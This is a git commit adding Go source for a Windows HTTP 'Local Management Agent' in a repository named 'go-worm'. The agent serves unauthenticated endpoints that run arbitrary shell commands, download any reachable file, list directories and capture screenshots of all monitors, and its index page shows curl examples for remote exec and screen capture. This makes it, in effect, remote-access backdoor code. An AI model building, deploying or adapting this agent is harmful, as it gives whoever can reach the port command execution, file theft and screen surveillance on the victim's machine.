Initial commit with project setup and basic structure established.

This commit is contained in:
2026-08-18 16:40:50 +03:00
parent 2683425562
commit f0515d7342
12 changed files with 884 additions and 0 deletions
+96
View File
@@ -0,0 +1,96 @@
package agent
import (
"context"
"errors"
"fmt"
"net"
"net/http"
"os"
"os/signal"
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/files"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/instance"
)
type Agent struct {
addr string
root string
guard *instance.Guard
server *http.Server
startedAt time.Time
}
func New() (*Agent, error) {
a := &Agent{
addr: config.EnvOr("AGENT_ADDR", config.DefaultAddr),
startedAt: time.Now(),
}
if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" {
resolved, err := files.CanonicalExistingPath(root)
if err != nil {
return nil, fmt.Errorf("invalid AGENT_FILE_ROOT: %w", err)
}
a.root = resolved
}
guard, err := instance.Acquire()
if err != nil {
return nil, err
}
a.guard = guard
return a, nil
}
func (a *Agent) Close() {
if a.guard != nil {
a.guard.Close()
}
}
func (a *Agent) Serve() error {
mux := http.NewServeMux()
mux.HandleFunc("/", a.handleIndex)
mux.HandleFunc("/health", a.handleHealth)
mux.HandleFunc("/healthz", a.handleHealth)
mux.HandleFunc("/openapi.json", a.handleOpenAPI)
mux.HandleFunc("/api/v1/status", a.handleStatus)
mux.HandleFunc("/api/v1/files", a.handleFiles)
mux.HandleFunc("/api/v1/download", a.handleDownload)
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
mux.HandleFunc("/api/v1/exec", a.handleExec)
a.server = &http.Server{
Addr: a.addr,
Handler: helpers.RecoverHandler(mux),
ReadHeaderTimeout: 10 * time.Second,
ReadTimeout: 30 * time.Second,
WriteTimeout: 150 * time.Second,
IdleTimeout: 60 * time.Second,
MaxHeaderBytes: 16 << 10,
}
listener, err := net.Listen("tcp", a.addr)
if err != nil {
return fmt.Errorf("listen %s: %w", a.addr, err)
}
fmt.Printf("Local Management Agent %s\nListening on http://%s\nPress Ctrl+C to stop.\n", config.Version, a.addr)
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
defer stop()
go func() {
<-ctx.Done()
shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
_ = a.server.Shutdown(shutdownCtx)
}()
if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) {
return fmt.Errorf("serve: %w", err)
}
return nil
}
+235
View File
@@ -0,0 +1,235 @@
package agent
import (
"context"
"encoding/base64"
"encoding/json"
"errors"
"io"
"mime"
"net/http"
"os"
"path/filepath"
"runtime"
"strconv"
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/command"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/files"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/models"
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
)
func (a *Agent) handleIndex(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/" || r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusNotFound, "endpoint not found")
return
}
w.Header().Set("Content-Type", "text/html; charset=utf-8")
_, _ = io.WriteString(w, `<!doctype html><html><head><meta charset="utf-8"><title>Local Management Agent</title><style>body{font:16px system-ui;max-width:900px;margin:3rem auto;color:#1f2937}code{background:#f3f4f6;padding:.15rem .3rem;border-radius:3px}li{margin:.5rem 0}</style></head><body><h1>Local Management Agent</h1><p>Version `+config.Version+`</p><h2>Endpoints</h2><ul><li><code>GET /health</code></li><li><code>GET /api/v1/status</code></li><li><code>GET /api/v1/files?path=C:\&amp;depth=0</code></li><li><code>GET /api/v1/download?path=C:\path\file.txt</code></li><li><code>GET /api/v1/screenshot?format=png</code></li><li><code>POST /api/v1/exec</code></li></ul><h2>Examples</h2><p><code>curl http://HOST:5032/api/v1/status</code></p><p><code>curl -o screen.png http://HOST:5032/api/v1/screenshot?format=png</code></p><p><code>curl -X POST http://HOST:5032/api/v1/exec -H "Content-Type: application/json" -d "{\"command\":\"ipconfig /all\"}"</code></p></body></html>`)
}
func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]string{"status": "ok"})
}
func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{
"openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version},
"paths": map[string]any{
"/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}},
"/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}},
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
},
})
}
func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
host, _ := os.Hostname()
helpers.WriteJSON(w, http.StatusOK, map[string]any{
"os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host,
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
"agent_version": config.Version, "listen_address": a.addr,
})
}
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
depth, err := files.ParseDepth(r.URL.Query().Get("depth"))
if err != nil {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
return
}
path := r.URL.Query().Get("path")
if path == "" {
path, _ = os.UserHomeDir()
}
dir, err := files.AllowedPath(a.root, path, true)
if err != nil {
files.WritePathError(w, err)
return
}
info, err := os.Stat(dir)
if err != nil {
files.WritePathError(w, err)
return
}
if !info.IsDir() {
helpers.WriteError(w, http.StatusBadRequest, "path is not a directory")
return
}
entries, err := files.ListDirectory(dir, depth)
if err != nil {
files.WritePathError(w, err)
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"path": dir, "depth": depth, "entries": entries})
}
func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
path := r.URL.Query().Get("path")
if path == "" {
helpers.WriteError(w, http.StatusBadRequest, "path is required")
return
}
file, err := files.AllowedPath(a.root, path, true)
if err != nil {
files.WritePathError(w, err)
return
}
f, err := os.Open(file)
if err != nil {
files.WritePathError(w, err)
return
}
defer f.Close()
info, err := f.Stat()
if err != nil {
files.WritePathError(w, err)
return
}
if info.IsDir() {
helpers.WriteError(w, http.StatusBadRequest, "path is a directory")
return
}
name := filepath.Base(file)
contentType := mime.TypeByExtension(filepath.Ext(name))
if contentType == "" {
var sample [512]byte
n, _ := f.Read(sample[:])
contentType = http.DetectContentType(sample[:n])
_, _ = f.Seek(0, io.SeekStart)
}
w.Header().Set("Content-Type", contentType)
w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(name, `"`, "'")+`"`)
w.Header().Set("Accept-Ranges", "bytes")
http.ServeContent(w, r, name, info.ModTime(), f)
}
func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
format := strings.ToLower(strings.TrimSpace(r.URL.Query().Get("format")))
if format == "" {
format = "png"
}
if format != "png" && format != "jpeg" {
helpers.WriteError(w, http.StatusBadRequest, "format must be png or jpeg")
return
}
quality := 80
if raw := r.URL.Query().Get("quality"); raw != "" {
var err error
quality, err = strconv.Atoi(raw)
if err != nil || quality < 1 || quality > config.MaxImageQuality {
helpers.WriteError(w, http.StatusBadRequest, "quality must be between 1 and 100")
return
}
}
images, err := screenshot.Capture(format, quality)
if err != nil {
helpers.Log.Printf("screenshot: %v", err)
helpers.WriteError(w, http.StatusServiceUnavailable, "no interactive desktop is available")
return
}
if len(images) == 1 {
w.Header().Set("Content-Type", images[0].ContentType)
w.Header().Set("Content-Length", strconv.Itoa(len(images[0].Data)))
_, _ = w.Write(images[0].Data)
return
}
response := models.ScreenshotResponse{Images: make([]models.ScreenshotImage, 0, len(images))}
for i, item := range images {
response.Images = append(response.Images, models.ScreenshotImage{
Monitor: i,
ContentType: item.ContentType,
DataBase64: base64.StdEncoding.EncodeToString(item.Data),
})
}
helpers.WriteJSON(w, http.StatusOK, response)
}
func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
defer r.Body.Close()
var request models.ExecRequest
decoder := json.NewDecoder(r.Body)
decoder.DisallowUnknownFields()
if err := decoder.Decode(&request); err != nil {
helpers.WriteError(w, http.StatusBadRequest, "body must contain a command")
return
}
cmdline := strings.TrimSpace(request.Command)
if cmdline == "" {
helpers.WriteError(w, http.StatusBadRequest, command.ErrEmptyCommand.Error())
return
}
timeout, err := command.ResolveTimeout(request.TimeoutSec)
if err != nil {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
return
}
ctx, cancel := context.WithTimeout(r.Context(), timeout)
defer cancel()
result, err := command.Run(ctx, cmdline)
if errors.Is(err, command.ErrTimeout) {
helpers.WriteError(w, http.StatusGatewayTimeout, err.Error())
return
}
if err != nil {
helpers.Log.Printf("exec: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not run command")
return
}
helpers.WriteJSON(w, http.StatusOK, result)
}